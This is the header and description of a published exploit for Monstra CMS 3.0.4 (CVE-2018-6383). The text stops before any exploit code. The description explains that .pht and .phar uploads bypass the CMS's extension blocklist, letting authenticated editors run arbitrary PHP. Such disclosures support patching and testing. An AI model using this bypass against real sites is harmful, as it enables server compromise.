# Exploit Title: Monstra CMS 3.0.4 - Remote Code Execution (Authenticated)
# Date: 03.06.2021
# Exploit Author: Ron Jost (hacker5preme)
# Vendor Homepage: https://monstra.org/
# Software Link: https://monstra.org/monstra-3.0.4.zip
# Version: 3.0.4
# Tested on: Ubuntu 20.04
# CVE: CVE-2018-6383
# Documentation: https://github.com/Hacker5preme/Exploits#CVE-2018-6383-Exploit

'''
Description:
Monstra CMS through 3.0.4 has an incomplete "forbidden types" list that excludes .php (and similar) file extensions
but not the .pht or .phar extension, which allows remote authenticated Admins or Editors to execute arbitrary PHP code
 by uploading a file, a different vulnerability than CVE-2017-18048.
